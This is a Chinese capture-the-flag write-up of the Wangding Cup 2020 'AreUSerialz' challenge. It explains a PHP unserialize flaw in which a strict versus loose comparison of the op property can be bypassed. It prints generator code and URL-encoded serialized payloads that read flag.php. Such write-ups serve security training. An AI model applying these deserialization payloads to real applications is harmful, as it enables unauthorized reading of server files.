[网鼎杯 2020 青龙组]AreUSerialz
考点
逻辑漏洞,两次比较方式不一样,一个强比较一个弱比较
PHP在7.1版本以上属性类型不敏感,在序列化时候把属性改为public
就可以绕过
wp
给了代码,先看入口
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
传入参数str
,使用is_valid()
判断是否满足条件,满足条件就对它反序列化。条件是str
中字符的范围要在[32, 125]
内。
然后再看给的FileHandler
类,从__destruct()
开始,然后对属性值做改变,最后执行process()
函数
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
然后看process()
函数,其中又调用了write()
,read()
和output()
函数
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
write()
函数向$this->filename
中写入$this->content
,
read()
函数读取$this->filename
output()
函数输出字符串
再看process()
函数,如果$this->op
是1
,就是写入文件,$this->op
是2
就是读取文件并输出,否则就输出Bad Hacker
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
在__destruct()
中$this->op
的判断使用的==="2"
强等于,而在process()
中$this->op
的判断使用的=="2"
弱等于,可以使用int
型的2
绕过
<?php
class FileHandler{
protected $op = 2;
protected $filename = 'flag.php';
protected $content = '1';
}
echo urlencode(serialize(new FileHandler()));
得到结果如下,但是protected
属性在序列化时会加上%00
,这不符合输入要求。PHP在7.1版本以上属性类型不敏感,在序列化时候把属性改为public
就可以绕过。
O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00op%22%3Bi%3A2%3Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A10%3A%22%00%2A%00content%22%3Bs%3A1%3A%221%22%3B%7D
<?php
class FileHandler{
public $op = 2;
public $filename = 'flag.php';
public $content = '1';
}
echo urlencode(serialize(new FileHandler()));
O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A1%3A%221%22%3B%7D
F12可以看到flag,原题是先读取/proc/self/
目录找到配置文件,再去读flag,注意是用绝对路径。
小结